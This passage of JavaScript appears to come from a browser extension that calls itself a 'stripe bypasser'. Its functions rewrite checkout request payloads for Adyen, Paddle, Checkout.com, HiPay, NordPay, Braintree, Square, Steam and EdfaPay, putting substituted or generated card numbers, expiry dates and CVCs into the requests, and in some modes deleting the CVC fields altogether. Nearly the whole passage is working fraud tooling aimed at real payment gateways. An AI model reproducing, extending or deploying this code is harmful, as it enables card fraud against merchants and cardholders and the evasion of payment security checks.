        cvcRemoved,
        hadEncryptedSecurityCode,
        cardReplaced: !!encryptedCardPayload && !!encryptedCardPayload.encryptedCardNumber
      };
      return serializeGatewayPayloadMutation(payloadObject, payload, "Adyen", cvcRemovedInfo);
    } catch (error) {
      stripeBypasserLogger?.error("Failed to replace card in Adyen payload", error);
      return payload;
    }
  }
  function replaceCardInPaddlePayload(payload, cardData, options = {}) {
    const payloadObject = parseJsonStringPayload(payload, "Paddle");
    if (!payloadObject) {
      return payload;
    }
    try {
      const paddlePayloadData = payloadObject.data ?? payloadObject;
      const paddleCard = paddlePayloadData.payment_method_data?.card;
      if (!paddleCard) {
        stripeBypasserLogger?.warn(
          "Payload does not have Paddle payment_method_data.card structure"
        );
        return payload;
      }
      if (!paddleCard.tokenex_card || typeof paddleCard.tokenex_card !== "object") {
        paddleCard.tokenex_card = {};
      }
      const tokenExCard = paddleCard.tokenex_card;
      const cvcMode = resolveGatewayCvcMode(options);
      const hasCachedEncryptedCard =
        typeof tokenExCard.encrypted_card_number === "string" &&
        tokenExCard.encrypted_card_number.length > 0 &&
        !cardData;
      const tokenExKey = resolvePaddlePayloadTokenExKey(
        tokenExCard,
        paddlePayloadData,
        payloadObject
      );
      let encryptedCardApplied = false;
      if (hasCachedEncryptedCard) {
        logToConsole(
          "[Paddle] replaceCardInPaddlePayload: existing encrypted card present, no generated card - skip TokenEx encryption"
        );
      } else {
        const encryptedCardData = cardData ? encryptCardWithTokenEx(cardData, tokenExKey) : null;
        logToConsole(
          "[Paddle] replaceCardInPaddlePayload: card=",
          !!cardData,
          "newEncrypted=",
          !!encryptedCardData,
          encryptedCardData ? "hasEncNumber" : "noEnc"
        );
        if (encryptedCardData && encryptedCardData.encrypted_card_number) {
          tokenExCard.encrypted_card_number = encryptedCardData.encrypted_card_number;
          encryptedCardApplied = true;
          logToConsole(
            "[Paddle] ✅ After encryption: Set encrypted_card_number in payload, len=",
            encryptedCardData.encrypted_card_number.length
          );
          if (encryptedCardData.encrypted_cvv != null && cvcMode !== "remove") {
            tokenExCard.encrypted_cvv = encryptedCardData.encrypted_cvv;
            logToConsole(
              "[Paddle] ✅ After encryption: Set encrypted_cvv in payload, len=",
              encryptedCardData.encrypted_cvv.length
            );
          } else if (cvcMode === "remove") {
            logToConsole(
              "[Paddle] After encryption: CVC mode is remove, not setting encrypted_cvv"
            );
          }
          stripeBypasserLogger?.log("Replaced Paddle tokenex_card with new encrypted card");
        } else if (cardData && cardData.number) {
          stripeBypasserLogger?.warn(
            "[Paddle] Card generated but TokenEx encryption failed - tokenex_card not updated. Enable extension logs and check buy.paddle.com iframe."
          );
          logToConsole(
            "[Paddle] ❌ After encryption: newEncrypted is null/false - cannot set encrypted_card_number in payload"
          );
        }
      }
      applyPaddleCardMetadata(paddleCard, cardData);
      let cvcRemoved = false;
      if (
        cvcMode === "remove" &&
        Object.prototype.hasOwnProperty.call(tokenExCard, "encrypted_cvv")
      ) {
        delete tokenExCard.encrypted_cvv;
        cvcRemoved = true;
        stripeBypasserLogger?.log("Removed encrypted_cvv from Paddle payload (CVC remove mode)");
      }
      return serializeGatewayPayloadMutation(payloadObject, payload, "Paddle", {
        cvcMode,
        hasTokenExKey: !!tokenExKey,
        cardReplaced: encryptedCardApplied,
        cvcRemoved
      });
    } catch (error) {
      stripeBypasserLogger?.error("Failed to replace card in Paddle payload", error);
      return payload;
    }
  }
  function replaceCardInCheckoutPayload(payload, cardData, options = {}) {
    const payloadObject = parseJsonStringPayload(payload, "Checkout.com");
    if (!payloadObject) {
      return payload;
    }
    try {
      const cvcMode = resolveGatewayCvcMode(options);
      let payloadChanged = applyCheckoutPayloadCardFields(payloadObject, cardData, cvcMode);
      payloadChanged =
        applyCheckoutPayloadCardFields(payloadObject.card, cardData, cvcMode, "payload.card") ||
        payloadChanged;
      if (!payloadChanged) {
        stripeBypasserLogger?.warn("Checkout.com payload does not contain card fields to replace");
        return payload;
      }
      return serializeGatewayPayloadMutation(payloadObject, payload, "Checkout.com", {
        cardNumber: maskCardNumber(cardData.number),
        cvcRemoved: cvcMode === "remove"
      });
    } catch (error) {
      stripeBypasserLogger?.error("Failed to replace card in Checkout.com payload", error);
      return payload;
    }
  }
  function replaceCardInHiPayPayload(payload, cardData, options = {}) {
    if (typeof payload !== "string") {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("HiPay payload is not a string, cannot replace card");
      }
      return payload;
    }
    try {
      let payloadObject = null;
      try {
        payloadObject = JSON.parse(payload);
      } catch (error) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("HiPay payload is not valid JSON", error);
        }
        return payload;
      }
      if (!payloadObject || typeof payloadObject !== "object") {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("HiPay payload does not have valid structure");
        }
        return payload;
      }
      let payloadChanged = false;
      if (payloadObject.card_number !== undefined) {
        payloadObject.card_number = cardData.number;
        payloadChanged = true;
      }
      if (payloadObject.card_expiry_month !== undefined && cardData.month) {
        const parsedNumber = parseInt(cardData.month, 10);
        payloadObject.card_expiry_month = String(parsedNumber).padStart(2, "0");
        payloadChanged = true;
      }
      if (payloadObject.card_expiry_year !== undefined && cardData.year) {
        const parsedNumber = parseInt(cardData.year, 10);
        const isParsedNumber = parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
        payloadObject.card_expiry_year = String(isParsedNumber);
        payloadChanged = true;
      }
      if (payloadObject.card_holder !== undefined) {
        const cardholderName = cardData.name || getDefaultCardholderName();
        payloadObject.card_holder = cardholderName;
        payloadChanged = true;
      }
      const cvcModeSetting = options?.cvcMode;
      const cvcMode = cvcModeSetting === false ? "remove" : cvcModeSetting || "generate";
      if (payloadObject.cvc !== undefined) {
        if (cvcMode === "remove") {
          delete payloadObject.cvc;
          payloadChanged = true;
          if (stripeBypasserLogger) {
            stripeBypasserLogger.log("[HiPayPayload] Removed cvc (CVC remove mode)");
          }
        } else if (cardData.cvc) {
          payloadObject.cvc = cardData.cvc;
          payloadChanged = true;
        }
      }
      if (!payloadChanged) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("HiPay payload does not contain card fields to replace");
        }
        return payload;
      }
      const serializedData = JSON.stringify(payloadObject);
      if (stripeBypasserLogger) {
        stripeBypasserLogger.log("HiPay payload modification complete", {
          originalLength: payload.length,
          modifiedLength: serializedData.length,
          cardNumber: cardData.number.substring(0, 4) + "****" + cardData.number.substring(12)
        });
      }
      return serializedData;
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("Failed to replace card in HiPay payload", error);
      }
      return payload;
    }
  }
  function replaceCardInNordPayPayload(payload, cardData, options = {}) {
    if (typeof payload !== "string") {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("NordPay payload is not a string, cannot replace card");
      }
      return payload;
    }
    try {
      let payloadObject = null;
      try {
        payloadObject = JSON.parse(payload);
      } catch (error) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("NordPay payload is not valid JSON", error);
        }
        return payload;
      }
      if (!payloadObject || typeof payloadObject !== "object") {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("NordPay payload does not have valid structure");
        }
        return payload;
      }
      let payloadChanged = false;
      if (payloadObject.primary_account_number !== undefined) {
        payloadObject.primary_account_number = cardData.number;
        payloadChanged = true;
      }
      if (payloadObject.expiration_month !== undefined && cardData.month) {
        const parsedNumber = parseInt(cardData.month, 10);
        payloadObject.expiration_month = String(parsedNumber).padStart(2, "0");
        payloadChanged = true;
      }
      if (payloadObject.expirationMonth !== undefined && cardData.month) {
        const parsedNumber = parseInt(cardData.month, 10);
        payloadObject.expirationMonth = String(parsedNumber).padStart(2, "0");
        payloadChanged = true;
      }
      if (payloadObject.expiration_year !== undefined && cardData.year) {
        const parsedNumber = parseInt(cardData.year, 10);
        const isParsedNumber = parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
        payloadObject.expiration_year = String(isParsedNumber);
        payloadChanged = true;
      }
      if (payloadObject.expirationYear !== undefined && cardData.year) {
        const parsedNumber = parseInt(cardData.year, 10);
        const isParsedNumber = parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
        payloadObject.expirationYear = String(isParsedNumber);
        payloadChanged = true;
      }
      if ((options?.cvcMode === false ? "remove" : options?.cvcMode || "generate") === "remove") {
        if (payloadObject.cvc !== undefined) {
          delete payloadObject.cvc;
          payloadChanged = true;
        }
        if (payloadObject.cvv !== undefined) {
          delete payloadObject.cvv;
          payloadChanged = true;
        }
      } else {
        if (payloadObject.cvc !== undefined && cardData.cvc) {
          payloadObject.cvc = cardData.cvc;
          payloadChanged = true;
        }
        if (payloadObject.cvv !== undefined && cardData.cvc) {
          payloadObject.cvv = cardData.cvc;
          payloadChanged = true;
        }
      }
      if (payloadObject.cardholder_name !== undefined && cardData.name) {
        payloadObject.cardholder_name = cardData.name;
        payloadChanged = true;
      }
      if (payloadObject.cardholderName !== undefined && cardData.name) {
        payloadObject.cardholderName = cardData.name;
        payloadChanged = true;
      }
      if (!payloadChanged) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("NordPay payload does not contain card fields to replace");
        }
        return payload;
      }
      const serializedData = JSON.stringify(payloadObject);
      if (stripeBypasserLogger) {
        stripeBypasserLogger.log("NordPay payload modification complete", {
          originalLength: payload.length,
          modifiedLength: serializedData.length,
          cardNumber: cardData.number.substring(0, 4) + "****" + cardData.number.substring(12)
        });
      }
      return serializedData;
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("Failed to replace card in NordPay payload", error);
      }
      return payload;
    }
  }
  function replaceCardInBraintreePayload(payload, cardData, options = {}) {
    if (typeof payload !== "string") {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("Braintree payload is not a string, cannot replace card");
      }
      return payload;
    }
    try {
      let payloadObject = null;
      try {
        payloadObject = JSON.parse(payload);
      } catch (error) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("Braintree payload is not valid JSON", error);
        }
        return payload;
      }
      if (!payloadObject || typeof payloadObject !== "object") {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("Braintree payload does not have valid structure");
        }
        return payload;
      }
      let payloadChanged = false;
      if (
        payloadObject.variables &&
        payloadObject.variables.input &&
        payloadObject.variables.input.creditCard
      ) {
        const { creditCard } = payloadObject.variables.input;
        console.log("🔵 [BRAINTREE-PAYLOAD] Found creditCard object", {
          hasNumber: creditCard.number !== undefined,
          currentNumber: creditCard.number || "N/A",
          newNumber: cardData.number
            ? cardData.number.substring(0, 4) + "****" + cardData.number.substring(12)
            : "N/A",
          hasExpirationMonth: creditCard.expirationMonth !== undefined,
          hasExpirationYear: creditCard.expirationYear !== undefined,
          hasCvv: creditCard.cvv !== undefined
        });
        if (stripeBypasserLogger) {
          stripeBypasserLogger.log(
            "[BraintreePayload] Found creditCard object in variables.input.creditCard",
            {
              hasNumber: creditCard.number !== undefined,
              hasExpirationMonth: creditCard.expirationMonth !== undefined,
              hasExpirationYear: creditCard.expirationYear !== undefined,
              hasCvv: creditCard.cvv !== undefined,
              currentNumber: creditCard.number ? creditCard.number.substring(0, 4) + "****" : "N/A"
            }
          );
        }
        if (creditCard.number !== undefined) {
          const previousNumber = creditCard.number;
          creditCard.number = cardData.number;
          payloadChanged = true;
          console.log("🔵 [BRAINTREE-PAYLOAD] Replaced card number", {
            oldNumber: previousNumber.substring(0, 4) + "****",
            newNumber: cardData.number.substring(0, 4) + "****" + cardData.number.substring(12)
          });
          if (stripeBypasserLogger) {
            stripeBypasserLogger.log("[BraintreePayload] Replaced card number", {
              newNumber: cardData.number.substring(0, 4) + "****" + cardData.number.substring(12)
            });
          }
        } else {
          console.warn("🔴 [BRAINTREE-PAYLOAD] creditCard.number is undefined!");
        }
        if (creditCard.expirationMonth !== undefined && cardData.month) {
          const parsedNumber = parseInt(cardData.month, 10);
          creditCard.expirationMonth = String(parsedNumber).padStart(2, "0");
          payloadChanged = true;
          if (stripeBypasserLogger) {
            stripeBypasserLogger.log("[BraintreePayload] Replaced expirationMonth", {
              newMonth: creditCard.expirationMonth
            });
          }
        }
        if (creditCard.expirationYear !== undefined && cardData.year) {
          const parsedNumber = parseInt(cardData.year, 10);
          const fullYear = parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
          creditCard.expirationYear = String(fullYear);
          payloadChanged = true;
          if (stripeBypasserLogger) {
            stripeBypasserLogger.log("[BraintreePayload] Replaced expirationYear", {
              newYear: creditCard.expirationYear
            });
          }
        }
        if ((options?.cvcMode === false ? "remove" : options?.cvcMode || "generate") === "remove") {
          if (creditCard.cvv !== undefined) {
            delete creditCard.cvv;
            payloadChanged = true;
          }
          if (creditCard.cvc !== undefined) {
            delete creditCard.cvc;
            payloadChanged = true;
          }
          if (stripeBypasserLogger) {
            stripeBypasserLogger.log("[BraintreePayload] Removed CVC (cvcMode=remove)");
          }
        } else {
          if (creditCard.cvv !== undefined && cardData.cvc) {
            creditCard.cvv = cardData.cvc;
            payloadChanged = true;
            if (stripeBypasserLogger) {
              stripeBypasserLogger.log("[BraintreePayload] Replaced cvv");
            }
          }
          if (creditCard.cvc !== undefined && cardData.cvc) {
            creditCard.cvc = cardData.cvc;
            payloadChanged = true;
            if (stripeBypasserLogger) {
              stripeBypasserLogger.log("[BraintreePayload] Replaced cvc");
            }
          }
        }
      } else if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("[BraintreePayload] CreditCard structure not found", {
          hasVariables: !!payloadObject.variables,
          hasInput: !!payloadObject.variables && !!payloadObject.variables.input,
          hasCreditCard:
            !!payloadObject.variables &&
            !!payloadObject.variables.input &&
            !!payloadObject.variables.input.creditCard,
          payloadKeys: Object.keys(payloadObject)
        });
      }
      if (payloadObject.creditCard && typeof payloadObject.creditCard === "object") {
        const { creditCard } = payloadObject;
        if (creditCard.number !== undefined) {
          creditCard.number = cardData.number;
          payloadChanged = true;
        }
        if (creditCard.expirationMonth !== undefined && cardData.month) {
          const parsedNumber = parseInt(cardData.month, 10);
          creditCard.expirationMonth = String(parsedNumber).padStart(2, "0");
          payloadChanged = true;
        }
        if (creditCard.expirationYear !== undefined && cardData.year) {
          const parsedNumber = parseInt(cardData.year, 10);
          const fullYear = parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
          creditCard.expirationYear = String(fullYear);
          payloadChanged = true;
        }
        if ((options?.cvcMode === false ? "remove" : options?.cvcMode || "generate") === "remove") {
          if (creditCard.cvv !== undefined) {
            delete creditCard.cvv;
            payloadChanged = true;
          }
          if (creditCard.cvc !== undefined) {
            delete creditCard.cvc;
            payloadChanged = true;
          }
        } else {
          if (creditCard.cvv !== undefined && cardData.cvc) {
            creditCard.cvv = cardData.cvc;
            payloadChanged = true;
          }
          if (creditCard.cvc !== undefined && cardData.cvc) {
            creditCard.cvc = cardData.cvc;
            payloadChanged = true;
          }
        }
      }
      if (!payloadChanged) {
        console.warn("🔴 [BRAINTREE-PAYLOAD] No modifications made!");
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("Braintree payload does not contain card fields to replace");
        }
        return payload;
      }
      const serializedData = JSON.stringify(payloadObject);
      const originalHasTestCard = payload.includes("4242424242424242");
      const modifiedHasTestCard = serializedData.includes("4242424242424242");
      const modifiedHasNewCard = serializedData.includes(cardData.number);
      console.log("🔵 [BRAINTREE-PAYLOAD] Modification complete", {
        originalLength: payload.length,
        modifiedLength: serializedData.length,
        originalHasTestCard,
        modifiedHasTestCard,
        modifiedHasNewCard,
        cardNumber: cardData.number.substring(0, 4) + "****" + cardData.number.substring(12),
        payloadPreview: serializedData.substring(0, 300)
      });
      if (stripeBypasserLogger) {
        stripeBypasserLogger.log("Braintree payload modification complete", {
          originalLength: payload.length,
          modifiedLength: serializedData.length,
          cardNumber: cardData.number.substring(0, 4) + "****" + cardData.number.substring(12)
        });
      }
      return serializedData;
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("Failed to replace card in Braintree payload", error);
      }
      return payload;
    }
  }
  function replaceCardInSquarePayload(payload, cardData, options = {}) {
    if (typeof payload !== "string") {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("Square payload is not a string, cannot replace card");
      }
      return payload;
    }
    try {
      let payloadObject = null;
      try {
        payloadObject = JSON.parse(payload);
      } catch (error) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("Square payload is not valid JSON", error);
        }
        return payload;
      }
      if (!payloadObject || typeof payloadObject !== "object") {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("Square payload does not have valid structure");
        }
        return payload;
      }
      let payloadChanged = false;
      if (payloadObject.number !== undefined) {
        payloadObject.number = cardData.number;
        payloadChanged = true;
      }
      if (payloadObject.cardNumber !== undefined) {
        payloadObject.cardNumber = cardData.number;
        payloadChanged = true;
      }
      if (payloadObject.card_number !== undefined) {
        payloadObject.card_number = cardData.number;
        payloadChanged = true;
      }
      if (payloadObject.expiry_month !== undefined && cardData.month) {
        payloadObject.expiry_month = parseInt(cardData.month, 10);
        payloadChanged = true;
      }
      if (payloadObject.expMonth !== undefined && cardData.month) {
        payloadObject.expMonth = parseInt(cardData.month, 10);
        payloadChanged = true;
      }
      if (payloadObject.exp_month !== undefined && cardData.month) {
        payloadObject.exp_month = parseInt(cardData.month, 10);
        payloadChanged = true;
      }
      if (payloadObject.expiry_year !== undefined && cardData.year) {
        const parsedNumber = parseInt(cardData.year, 10);
        payloadObject.expiry_year = parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
        payloadChanged = true;
      }
      if (payloadObject.expYear !== undefined && cardData.year) {
        const parsedNumber = parseInt(cardData.year, 10);
        payloadObject.expYear = parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
        payloadChanged = true;
      }
      if (payloadObject.exp_year !== undefined && cardData.year) {
        const parsedNumber = parseInt(cardData.year, 10);
        payloadObject.exp_year = parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
        payloadChanged = true;
      }
      const cvcMode = options?.cvcMode === false ? "remove" : options?.cvcMode || "generate";
      if (cvcMode === "remove") {
        if (payloadObject.cvv !== undefined) {
          delete payloadObject.cvv;
          payloadChanged = true;
        }
        if (payloadObject.cvc !== undefined) {
          delete payloadObject.cvc;
          payloadChanged = true;
        }
        if (payloadObject.security_code !== undefined) {
          delete payloadObject.security_code;
          payloadChanged = true;
        }
      } else {
        if (payloadObject.cvv !== undefined && cardData.cvc) {
          payloadObject.cvv = cardData.cvc;
          payloadChanged = true;
        }
        if (payloadObject.cvc !== undefined && cardData.cvc) {
          payloadObject.cvc = cardData.cvc;
          payloadChanged = true;
        }
        if (payloadObject.security_code !== undefined && cardData.cvc) {
          payloadObject.security_code = cardData.cvc;
          payloadChanged = true;
        }
      }
      if (payloadObject.card && typeof payloadObject.card === "object") {
        if (payloadObject.card.number !== undefined) {
          payloadObject.card.number = cardData.number;
          payloadChanged = true;
        }
        if (payloadObject.card.cardNumber !== undefined) {
          payloadObject.card.cardNumber = cardData.number;
          payloadChanged = true;
        }
        if (payloadObject.card.expiry_month !== undefined && cardData.month) {
          payloadObject.card.expiry_month = parseInt(cardData.month, 10);
          payloadChanged = true;
        }
        if (payloadObject.card.expiry_year !== undefined && cardData.year) {
          const parsedNumber = parseInt(cardData.year, 10);
          payloadObject.card.expiry_year = parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
          payloadChanged = true;
        }
        if (cvcMode === "remove") {
          if (payloadObject.card.cvv !== undefined) {
            delete payloadObject.card.cvv;
            payloadChanged = true;
          }
          if (payloadObject.card.cvc !== undefined) {
            delete payloadObject.card.cvc;
            payloadChanged = true;
          }
        } else {
          if (payloadObject.card.cvv !== undefined && cardData.cvc) {
            payloadObject.card.cvv = cardData.cvc;
            payloadChanged = true;
          }
          if (payloadObject.card.cvc !== undefined && cardData.cvc) {
            payloadObject.card.cvc = cardData.cvc;
            payloadChanged = true;
          }
        }
      }
      if (payloadObject.cardData && typeof payloadObject.cardData === "object") {
        if (payloadObject.cardData.number !== undefined) {
          payloadObject.cardData.number = cardData.number;
          payloadChanged = true;
        }
        if (payloadObject.cardData.expiry_month !== undefined && cardData.month) {
          payloadObject.cardData.expiry_month = parseInt(cardData.month, 10);
          payloadChanged = true;
        }
        if (payloadObject.cardData.expiry_year !== undefined && cardData.year) {
          const parsedNumber = parseInt(cardData.year, 10);
          payloadObject.cardData.expiry_year =
            parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
          payloadChanged = true;
        }
        if (cvcMode === "remove") {
          if (payloadObject.cardData.cvv !== undefined) {
            delete payloadObject.cardData.cvv;
            payloadChanged = true;
          }
          if (payloadObject.cardData.cvc !== undefined) {
            delete payloadObject.cardData.cvc;
            payloadChanged = true;
          }
        } else {
          if (payloadObject.cardData.cvv !== undefined && cardData.cvc) {
            payloadObject.cardData.cvv = cardData.cvc;
            payloadChanged = true;
          }
          if (payloadObject.cardData.cvc !== undefined && cardData.cvc) {
            payloadObject.cardData.cvc = cardData.cvc;
            payloadChanged = true;
          }
        }
      }
      if (payloadObject.card_data && typeof payloadObject.card_data === "object") {
        if (payloadObject.card_data.number !== undefined) {
          payloadObject.card_data.number = cardData.number;
          payloadChanged = true;
        }
        if (payloadObject.card_data.exp_month !== undefined && cardData.month) {
          payloadObject.card_data.exp_month = parseInt(cardData.month, 10);
          payloadChanged = true;
        }
        if (payloadObject.card_data.exp_year !== undefined && cardData.year) {
          const parsedNumber = parseInt(cardData.year, 10);
          payloadObject.card_data.exp_year =
            parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
          payloadChanged = true;
        }
        if (cvcMode === "remove") {
          if (payloadObject.card_data.cvv !== undefined) {
            delete payloadObject.card_data.cvv;
            payloadChanged = true;
          }
          if (payloadObject.card_data.cvc !== undefined) {
            delete payloadObject.card_data.cvc;
            payloadChanged = true;
          }
        } else {
          if (payloadObject.card_data.cvv !== undefined && cardData.cvc) {
            payloadObject.card_data.cvv = cardData.cvc;
            payloadChanged = true;
          }
          if (payloadObject.card_data.cvc !== undefined && cardData.cvc) {
            payloadObject.card_data.cvc = cardData.cvc;
            payloadChanged = true;
          }
        }
      }
      if (!payloadChanged) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("Square payload does not contain card fields to replace");
        }
        return payload;
      }
      const serializedData = JSON.stringify(payloadObject);
      if (stripeBypasserLogger) {
        stripeBypasserLogger.log("Square payload modification complete", {
          originalLength: payload.length,
          modifiedLength: serializedData.length,
          cardNumber: cardData.number.substring(0, 4) + "****" + cardData.number.substring(12)
        });
      }
      return serializedData;
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("Failed to replace card in Square payload", error);
      }
      return payload;
    }
  }
  function replaceCardInSteamPayload(steamPayload, cardData) {
    if (typeof steamPayload !== "string") {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("Steam payload is not a string, cannot replace card");
      }
      return steamPayload;
    }
    try {
      const originalPayload = steamPayload;
      let payloadChanged = false;
      let modifiedPayload = originalPayload;
      const searchParams = new URLSearchParams(modifiedPayload);
      if (cardData && cardData.number) {
        if (searchParams.has("CardNumber")) {
          const previousCardNumber = searchParams.get("CardNumber");
          searchParams.set("CardNumber", cardData.number);
          payloadChanged = true;
          if (stripeBypasserLogger) {
            stripeBypasserLogger.log("[SteamPayload] Updated CardNumber", {
              oldCardNumber: previousCardNumber
                ? previousCardNumber.substring(0, 4) + "****"
                : "N/A",
              newCardNumber:
                cardData.number.substring(0, 4) +
                "****" +
                cardData.number.substring(cardData.number.length - 4)
            });
          }
        } else {
          searchParams.set("CardNumber", cardData.number);
          payloadChanged = true;
          if (stripeBypasserLogger) {
            stripeBypasserLogger.log("[SteamPayload] Added CardNumber", {
              newCardNumber:
                cardData.number.substring(0, 4) +
                "****" +
                cardData.number.substring(cardData.number.length - 4)
            });
          }
        }
      } else if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("[SteamPayload] Card number not provided", {
          hasCard: !!cardData,
          hasCardNumber: !!cardData && !!cardData.number
        });
      }
      if (searchParams.has("CardExpirationYear") && cardData.year) {
        const parsedNumber = parseInt(cardData.year, 10);
        const newYear = parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
        searchParams.set("CardExpirationYear", String(newYear));
        payloadChanged = true;
        if (stripeBypasserLogger) {
          stripeBypasserLogger.log("[SteamPayload] Updated CardExpirationYear", {
            newYear
          });
        }
      }
      if (searchParams.has("CardExpirationMonth") && cardData.month) {
        const parsedNumber = parseInt(cardData.month, 10);
        const newMonth = String(parsedNumber).padStart(2, "0");
        searchParams.set("CardExpirationMonth", newMonth);
        payloadChanged = true;
        if (stripeBypasserLogger) {
          stripeBypasserLogger.log("[SteamPayload] Updated CardExpirationMonth", {
            newMonth
          });
        }
      }
      for (const fieldKey of [
        "SecurityCode",
        "CardSecurityCode",
        "CVV",
        "CVC",
        "CardCVC",
        "CardCVV",
        "CardCVV2"
      ]) {
        if (searchParams.has(fieldKey)) {
          searchParams.delete(fieldKey);
          payloadChanged = true;
          if (stripeBypasserLogger) {
            stripeBypasserLogger.log("[SteamPayload] Removed " + fieldKey + " (CVC) from payload");
          }
        }
      }
      if (payloadChanged) {
        modifiedPayload = searchParams.toString();
        if (stripeBypasserLogger) {
          stripeBypasserLogger.log("Steam payload modification complete", {
            originalLength: originalPayload.length,
            modifiedLength: modifiedPayload.length,
            cardNumber: cardData.number.substring(0, 4) + "****" + cardData.number.substring(12)
          });
        }
        return modifiedPayload;
      }
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("[SteamPayload] No modifications made to Steam payload");
      }
      return originalPayload;
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("Failed to replace card in Steam payload", error);
      }
      return steamPayload;
    }
  }
  function replaceCardInEdfaPayPayload(payload, cardData, options = {}) {
    if (typeof payload !== "string") {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("EdfaPay payload is not a string, cannot replace card");
      }
      return payload;
    }
    try {
      let payloadChanged = false;
      const searchParams = new URLSearchParams(payload);
      const cvcMode = options?.cvcMode || "generate";
      if (cardData && cardData.number) {
        const normalizedText = cardData.number.replace(/\s/g, "");
        if (searchParams.has("card_number")) {
          searchParams.set("card_number", normalizedText);
          payloadChanged = true;
          if (stripeBypasserLogger) {
            stripeBypasserLogger.log("[EdfaPayPayload] Updated card_number");
          }
        }
        if (cardData.month) {
          const normalizedMonth = String(cardData.month).replace(/\D/g, "").padStart(2, "0");
          if (searchParams.has("card_exp_month")) {
            searchParams.set("card_exp_month", normalizedMonth);
            payloadChanged = true;
            if (stripeBypasserLogger) {
              stripeBypasserLogger.log("[EdfaPayPayload] Updated card_exp_month", normalizedMonth);
            }
          }
        }
        if (cardData.year) {
          let normalizedYear = String(cardData.year).replace(/\D/g, "");
          if (normalizedYear.length === 2) {
            normalizedYear = "20" + normalizedYear;
          }
          if (searchParams.has("card_exp_year")) {
            searchParams.set("card_exp_year", normalizedYear);
            payloadChanged = true;
            if (stripeBypasserLogger) {
              stripeBypasserLogger.log("[EdfaPayPayload] Updated card_exp_year", normalizedYear);
            }
          }
        }
        if (cardData.cvc && cvcMode !== "remove") {
          const normalizedCvc = String(cardData.cvc).replace(/\D/g, "");
          if (searchParams.has("card_cvv2")) {
            searchParams.set("card_cvv2", normalizedCvc);
            payloadChanged = true;
            if (stripeBypasserLogger) {
              stripeBypasserLogger.log("[EdfaPayPayload] Updated card_cvv2");
            }
          }
        } else if (cvcMode === "remove" && searchParams.has("card_cvv2")) {
          searchParams.delete("card_cvv2");
          payloadChanged = true;
          if (stripeBypasserLogger) {
            stripeBypasserLogger.log("[EdfaPayPayload] Removed card_cvv2 (CVC remove mode)");
          }
        }
        const cardBrand = getCardBrand(cardData.number);
        if (searchParams.has("card_scheme")) {
          searchParams.set("card_scheme", cardBrand);
          payloadChanged = true;
          if (stripeBypasserLogger) {
            stripeBypasserLogger.log("[EdfaPayPayload] Updated card_scheme", cardBrand);
          }
        }
      }
      if (!payloadChanged) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn("[EdfaPayPayload] No modifications made");
        }
        return payload;
      }
      const serializedParams = searchParams.toString();
      if (stripeBypasserLogger) {
        stripeBypasserLogger.log("EdfaPay payload modification complete", {
          originalLength: payload.length,
          modifiedLength: serializedParams.length,
          cardNumber:
            cardData && cardData.number
              ? cardData.number.substring(0, 4) +
                "****" +
                cardData.number.substring(cardData.number.length - 4)
              : "N/A"
        });
      }
      return serializedParams;
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("Failed to replace card in EdfaPay payload", error);
      }
      return payload;
    }
  }
  function removeCvcFromSteamPayload(steamPayload) {
    if (typeof steamPayload !== "string") {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("Steam payload is not a string, cannot remove CVC");
      }
      return steamPayload;
    }
    try {
      const originalPayload = steamPayload;
      let cvcRemoved = false;
      let modifiedPayload = originalPayload;
      const searchParams = new URLSearchParams(modifiedPayload);
      for (const fieldKey of [
        "SecurityCode",
        "CardSecurityCode",
        "CVV",
        "CVC",
        "CardCVC",
        "CardCVV",
        "CardCVV2"
      ]) {
        if (searchParams.has(fieldKey)) {
          searchParams.delete(fieldKey);
          cvcRemoved = true;
          if (stripeBypasserLogger) {
            stripeBypasserLogger.log("[SteamPayload] Removed " + fieldKey + " (CVC) from payload");
          }
        }
      }
      if (cvcRemoved) {
        modifiedPayload = searchParams.toString();
        if (stripeBypasserLogger) {
          stripeBypasserLogger.log("Steam CVC removal complete", {
            originalLength: originalPayload.length,
            modifiedLength: modifiedPayload.length
          });
        }
        return modifiedPayload;
      }
      if (stripeBypasserLogger) {
